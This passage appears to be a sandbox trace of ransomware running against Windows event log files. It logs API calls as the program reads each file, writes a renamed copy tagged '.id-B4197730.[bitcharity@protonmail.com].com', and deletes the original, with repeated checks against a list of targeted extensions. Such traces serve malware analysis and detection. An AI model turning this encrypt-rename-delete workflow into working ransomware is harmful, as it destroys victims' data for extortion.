(lpString=".1cd") returned 4 [0150.874] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0150.874] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TaskScheduler%4Maintenance.evtx") returned 57 [0150.874] lstrlenW (lpString=".jpg") returned 4 [0150.874] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0150.874] lstrcmpiW (lpString1=".evtx", lpString2=".com") returned 1 [0150.874] lstrlenW (lpString="Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx") returned 72 [0150.874] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-terminalservices-localsessionmanager%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1084 [0150.875] GetFileSizeEx (in: hFile=0x1084, lpFileSize=0x2b0ff14 | out: lpFileSize=0x2b0ff14*=69632) returned 1 [0150.875] CloseHandle (hObject=0x1084) returned 1 [0150.875] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-terminalservices-localsessionmanager%4operational.evtx")) returned 0x20 [0150.875] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\logs\\microsoft-windows-terminalservices-localsessionmanager%4operational.evtx.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0150.875] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-terminalservices-localsessionmanager%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1084 [0150.875] SetFilePointerEx (in: hFile=0x1084, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b0fec0 | out: lpNewFilePointer=0x0) returned 1 [0150.875] SetFilePointerEx (in: hFile=0x1084, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b0fec0 | out: lpNewFilePointer=0x0) returned 1 [0150.875] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\logs\\microsoft-windows-terminalservices-localsessionmanager%4operational.evtx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1088 [0150.876] GetLastError () returned 0x0 [0150.876] ReadFile (in: hFile=0x1084, lpBuffer=0x36a8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b0fecc, lpOverlapped=0x0 | out: lpBuffer=0x36a8020*, lpNumberOfBytesRead=0x2b0fecc*=0x11000, lpOverlapped=0x0) returned 1 [0150.886] WriteFile (in: hFile=0x1088, lpBuffer=0x36a8020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2b0fc94, lpOverlapped=0x0 | out: lpBuffer=0x36a8020*, lpNumberOfBytesWritten=0x2b0fc94*=0x11010, lpOverlapped=0x0) returned 1 [0150.888] ReadFile (in: hFile=0x1084, lpBuffer=0x36a8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b0fecc, lpOverlapped=0x0 | out: lpBuffer=0x36a8020*, lpNumberOfBytesRead=0x2b0fecc*=0x0, lpOverlapped=0x0) returned 1 [0150.889] WriteFile (in: hFile=0x1088, lpBuffer=0x36a8020*, nNumberOfBytesToWrite=0x164, lpNumberOfBytesWritten=0x2b0fc94, lpOverlapped=0x0 | out: lpBuffer=0x36a8020*, lpNumberOfBytesWritten=0x2b0fc94*=0x164, lpOverlapped=0x0) returned 1 [0150.889] SetEndOfFile (hFile=0x1088) returned 1 [0150.889] CloseHandle (hObject=0x1088) returned 1 [0150.893] SetFilePointerEx (in: hFile=0x1084, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b0fec0 | out: lpNewFilePointer=0x0) returned 1 [0150.893] SetEndOfFile (hFile=0x1084) returned 1 [0150.895] CloseHandle (hObject=0x1084) returned 1 [0150.895] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x20) returned 1 [0150.895] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-terminalservices-localsessionmanager%4operational.evtx")) returned 1 [0150.896] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx") returned 80 [0150.896] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx") returned 80 [0150.896] lstrlenW (lpString=".doc") returned 4 [0150.896] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0150.896] lstrlenW (lpString=".docx") returned 5 [0150.896] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0150.896] lstrlenW (lpString=".pdf") returned 4 [0150.896] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0150.896] lstrlenW (lpString=".xls") returned 4 [0150.896] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0150.896] lstrlenW (lpString=".xlsx") returned 5 [0150.896] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0150.896] lstrlenW (lpString=".ppt") returned 4 [0150.896] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0150.896] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx") returned 80 [0150.896] lstrlenW (lpString=".zip") returned 4 [0150.896] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0150.896] lstrlenW (lpString=".rar") returned 4 [0150.896] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0150.896] lstrlenW (lpString=".bz2") returned 4 [0150.896] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0150.896] lstrlenW (lpString=".7z") returned 3 [0150.896] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0150.896] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx") returned 80 [0150.896] lstrlenW (lpString=".dbf") returned 4 [0150.897] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0150.897] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx") returned 80 [0150.897] lstrlenW (lpString=".1cd") returned 4 [0150.897] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0150.897] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx") returned 80 [0150.897] lstrlenW (lpString=".jpg") returned 4 [0150.897] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0150.897] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx") returned 80 [0150.897] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx") returned 80 [0150.897] lstrlenW (lpString=".doc") returned 4 [0150.897] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0150.897] lstrlenW (lpString=".docx") returned 5 [0150.897] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0150.897] lstrlenW (lpString=".pdf") returned 4 [0150.897] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0150.897] lstrlenW (lpString=".xls") returned 4 [0150.897] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0150.897] lstrlenW (lpString=".xlsx") returned 5 [0150.897] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0150.897] lstrlenW (lpString=".ppt") returned 4 [0150.897] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0150.897] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx") returned 80 [0150.897] lstrlenW (lpString=".zip") returned 4 [0150.897] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0150.897] lstrlenW (lpString=".rar") returned 4 [0150.898] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0150.898] lstrlenW (lpString=".bz2") returned 4 [0150.898] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0150.898] lstrlenW (lpString=".7z") returned 3 [0150.898] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0150.898] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx") returned 80 [0150.898] lstrlenW (lpString=".dbf") returned 4 [0150.898] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0150.898] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx") returned 80 [0150.898] lstrlenW (lpString=".1cd") returned 4 [0150.898] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0150.898] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx") returned 80 [0150.898] lstrlenW (lpString=".jpg") returned 4 [0150.898] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0150.898] lstrcmpiW (lpString1=".evtx", lpString2=".com") returned 1 [0150.898] lstrlenW (lpString="Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx") returned 70 [0150.898] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-terminalservices-remoteconnectionmanager%4admin.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x108c [0151.594] GetFileSizeEx (in: hFile=0x108c, lpFileSize=0x2b0ff14 | out: lpFileSize=0x2b0ff14*=69632) returned 1 [0151.594] CloseHandle (hObject=0x108c) returned 1 [0151.594] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-terminalservices-remoteconnectionmanager%4admin.evtx")) returned 0x20 [0151.594] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\logs\\microsoft-windows-terminalservices-remoteconnectionmanager%4admin.evtx.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0151.595] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-terminalservices-remoteconnectionmanager%4admin.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x108c [0151.595] SetFilePointerEx (in: hFile=0x108c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b0fec0 | out: lpNewFilePointer=0x0) returned 1 [0151.595] SetFilePointerEx (in: hFile=0x108c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b0fec0 | out: lpNewFilePointer=0x0) returned 1 [0151.595] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\logs\\microsoft-windows-terminalservices-remoteconnectionmanager%4admin.evtx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1084 [0151.597] GetLastError () returned 0x0 [0151.597] ReadFile (in: hFile=0x108c, lpBuffer=0x36a8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b0fecc, lpOverlapped=0x0 | out: lpBuffer=0x36a8020*, lpNumberOfBytesRead=0x2b0fecc*=0x11000, lpOverlapped=0x0) returned 1 [0151.627] WriteFile (in: hFile=0x1084, lpBuffer=0x36a8020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2b0fc94, lpOverlapped=0x0 | out: lpBuffer=0x36a8020*, lpNumberOfBytesWritten=0x2b0fc94*=0x11010, lpOverlapped=0x0) returned 1 [0151.629] ReadFile (in: hFile=0x108c, lpBuffer=0x36a8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b0fecc, lpOverlapped=0x0 | out: lpBuffer=0x36a8020*, lpNumberOfBytesRead=0x2b0fecc*=0x0, lpOverlapped=0x0) returned 1 [0151.629] WriteFile (in: hFile=0x1084, lpBuffer=0x36a8020*, nNumberOfBytesToWrite=0x160, lpNumberOfBytesWritten=0x2b0fc94, lpOverlapped=0x0 | out: lpBuffer=0x36a8020*, lpNumberOfBytesWritten=0x2b0fc94*=0x160, lpOverlapped=0x0) returned 1 [0151.630] SetEndOfFile (hFile=0x1084) returned 1 [0151.630] CloseHandle (hObject=0x1084) returned 1 [0151.640] SetFilePointerEx (in: hFile=0x108c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b0fec0 | out: lpNewFilePointer=0x0) returned 1 [0151.640] SetEndOfFile (hFile=0x108c) returned 1 [0151.642] CloseHandle (hObject=0x108c) returned 1 [0151.642] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x20) returned 1 [0151.643] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-terminalservices-remoteconnectionmanager%4admin.evtx")) returned 1 [0151.643] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx") returned 78 [0151.643] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx") returned 78 [0151.643] lstrlenW (lpString=".doc") returned 4 [0151.643] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0151.643] lstrlenW (lpString=".docx") returned 5 [0151.643] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0151.643] lstrlenW (lpString=".pdf") returned 4 [0151.643] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0151.643] lstrlenW (lpString=".xls") returned 4 [0151.643] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0151.643] lstrlenW (lpString=".xlsx") returned 5 [0151.643] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0151.643] lstrlenW (lpString=".ppt") returned 4 [0151.643] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0151.643] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx") returned 78 [0151.643] lstrlenW (lpString=".zip") returned 4 [0151.643] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0151.643] lstrlenW (lpString=".rar") returned 4 [0151.644] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0151.644] lstrlenW (lpString=".bz2") returned 4 [0151.644] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0151.644] lstrlenW (lpString=".7z") returned 3 [0151.644] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0151.644] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx") returned 78 [0151.644] lstrlenW (lpString=".dbf") returned 4 [0151.644] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0151.644] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx") returned 78 [0151.644] lstrlenW (lpString=".1cd") returned 4 [0151.644] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0151.644] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx") returned 78 [0151.644] lstrlenW (lpString=".jpg") returned 4 [0151.644] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0151.644] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx") returned 78 [0151.644] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx") returned 78 [0151.644] lstrlenW (lpString=".doc") returned 4 [0151.644] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0151.644] lstrlenW (lpString=".docx") returned 5 [0151.644] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0151.644] lstrlenW (lpString=".pdf") returned 4 [0151.644] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0151.644] lstrlenW (lpString=".xls") returned 4 [0151.644] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0151.644] lstrlenW (lpString=".xlsx") returned 5 [0151.644] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0151.645] lstrlenW (lpString=".ppt") returned 4 [0151.645] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0151.645] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx") returned 78 [0151.645] lstrlenW (lpString=".zip") returned 4 [0151.645] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0151.645] lstrlenW (lpString=".rar") returned 4 [0151.645] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0151.645] lstrlenW (lpString=".bz2") returned 4 [0151.645] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0151.645] lstrlenW (lpString=".7z") returned 3 [0151.645] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0151.645] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx") returned 78 [0151.645] lstrlenW (lpString=".dbf") returned 4 [0151.645] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0151.645] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx") returned 78 [0151.645] lstrlenW (lpString=".1cd") returned 4 [0151.645] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0151.645] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx") returned 78 [0151.645] lstrlenW (lpString=".jpg") returned 4 [0151.645] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0151.645] lstrcmpiW (lpString1=".evtx", lpString2=".com") returned 1 [0151.645] lstrlenW (lpString="Microsoft-Windows-User Profile Service%4Operational.evtx") returned 56 [0151.646] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-User Profile Service%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-user profile service%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1088 [0151.841] GetFileSizeEx (in: hFile=0x1088, lpFileSize=0x2b0ff14 | out: lpFileSize=0x2b0ff14*=69632) returned 1 [0151.841] CloseHandle (hObject=0x1088) returned 1 [0151.841] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-User Profile Service%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-user profile service%4operational.evtx")) returned 0x20 [0151.841] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-User Profile Service%4Operational.evtx.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\logs\\microsoft-windows-user profile service%4operational.evtx.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0151.841] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-User Profile Service%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-user profile service%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1088 [0151.841] SetFilePointerEx (in: hFile=0x1088, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b0fec0 | out: lpNewFilePointer=0x0) returned 1 [0151.842] SetFilePointerEx (in: hFile=0x1088, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b0fec0 | out: lpNewFilePointer=0x0) returned 1 [0151.842] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-User Profile Service%4Operational.evtx.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\logs\\microsoft-windows-user profile service%4operational.evtx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10d0 [0151.842] GetLastError () returned 0x0 [0151.842] ReadFile (in: hFile=0x1088, lpBuffer=0x36a8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b0fecc, lpOverlapped=0x0 | out: lpBuffer=0x36a8020*, lpNumberOfBytesRead=0x2b0fecc*=0x11000, lpOverlapped=0x0) returned 1 [0151.871] WriteFile (in: hFile=0x10d0, lpBuffer=0x36a8020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2b0fc94, lpOverlapped=0x0 | out: lpBuffer=0x36a8020*, lpNumberOfBytesWritten=0x2b0fc94*=0x11010, lpOverlapped=0x0) returned 1 [0151.873] ReadFile (in: hFile=0x1088, lpBuffer=0x36a8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b0fecc, lpOverlapped=0x0 | out: lpBuffer=0x36a8020*, lpNumberOfBytesRead=0x2b0fecc*=0x0, lpOverlapped=0x0) returned 1 [0151.874] WriteFile (in: hFile=0x10d0, lpBuffer=0x36a8020*, nNumberOfBytesToWrite=0x144, lpNumberOfBytesWritten=0x2b0fc94, lpOverlapped=0x0 | out: lpBuffer=0x36a8020*, lpNumberOfBytesWritten=0x2b0fc94*=0x144, lpOverlapped=0x0) returned 1 [0151.874] SetEndOfFile (hFile=0x10d0) returned 1 [0151.874] CloseHandle (hObject=0x10d0) returned 1 [0151.878] SetFilePointerEx (in: hFile=0x1088, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b0fec0 | out: lpNewFilePointer=0x0) returned 1 [0151.878] SetEndOfFile (hFile=0x1088) returned 1 [0151.879] CloseHandle (hObject=0x1088) returned 1 [0151.879] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-User Profile Service%4Operational.evtx.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x20) returned 1 [0151.880] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-User Profile Service%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-user profile service%4operational.evtx")) returned 1 [0151.880] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-User Profile Service%4Operational.evtx") returned 64 [0151.880] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-User Profile Service%4Operational.evtx") returned 64 [0151.880] lstrlenW (lpString=".doc") returned 4 [0151.880] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0151.880] lstrlenW (lpString=".docx") returned 5 [0151.880] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0151.880] lstrlenW (lpString=".pdf") returned 4 [0151.880] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0151.880] lstrlenW (lpString=".xls") returned 4 [0151.881] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0151.881] lstrlenW (lpString=".xlsx") returned 5 [0151.881] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0151.881] lstrlenW (lpString=".ppt") returned 4 [0151.881] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0151.881] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-User Profile Service%4Operational.evtx") returned 64 [0151.881] lstrlenW (lpString=".zip") returned 4 [0151.881] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0151.881] lstrlenW (lpString=".rar") returned 4 [0151.881] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0151.881] lstrlenW (lpString=".bz2") returned 4 [0151.881] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0151.881] lstrlenW (lpString=".7z") returned 3 [0151.881] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0151.881] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-User Profile Service%4Operational.evtx") returned 64 [0151.881] lstrlenW (lpString=".dbf") returned 4 [0151.881] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0151.881] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-User Profile Service%4Operational.evtx") returned 64 [0151.881] lstrlenW (lpString=".1cd") returned 4 [0151.881] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0151.881] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-User Profile Service%4Operational.evtx") returned 64 [0151.881] lstrlenW (lpString=".jpg") returned 4 [0151.881] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0151.881] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-User Profile Service%4Operational.evtx") returned 64 [0151.881] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-User Profile Service%4Operational.evtx") returned 64 [0151.881] lstrlenW (lpString=".doc") returned 4 [0151.882] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0151.882] lstrlenW (lpString=".docx") returned 5 [0151.882] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0151.882] lstrlenW (lpString=".pdf") returned 4 [0151.882] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0151.882] lstrlenW (lpString=".xls") returned 4 [0151.882] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0151.882] lstrlenW (lpString=".xlsx") returned 5 [0151.882] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0151.882] lstrlenW (lpString=".ppt") returned 4 [0151.882] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0151.882] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-User Profile Service%4Operational.evtx") returned 64 [0151.882] lstrlenW (lpString=".zip") returned 4 [0151.882] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0151.882] lstrlenW (lpString=".rar") returned 4 [0151.882] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0151.882] lstrlenW (lpString=".bz2") returned 4 [0151.882] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0151.882] lstrlenW (lpString=".7z") returned 3 [0151.882] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0151.882] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-User Profile Service%4Operational.evtx") returned 64 [0151.882] lstrlenW (lpString=".dbf") returned 4 [0151.882] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0151.882] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-User Profile Service%4Operational.evtx") returned 64 [0151.882] lstrlenW (lpString=".1cd") returned 4 [0151.882] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0151.882] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-User Profile Service%4Operational.evtx") returned 64 [0151.882] lstrlenW (lpString=".jpg") returned 4 [0151.883] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0151.883] lstrcmpiW (lpString1=".evtx", lpString2=".com") returned 1 [0151.883] lstrlenW (lpString="Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx") returned 57 [0151.883] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-volumesnapshot-driver%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1088 [0151.884] GetFileSizeEx (in: hFile=0x1088, lpFileSize=0x2b0ff14 | out: lpFileSize=0x2b0ff14*=69632) returned 1 [0151.884] CloseHandle (hObject=0x1088) returned 1 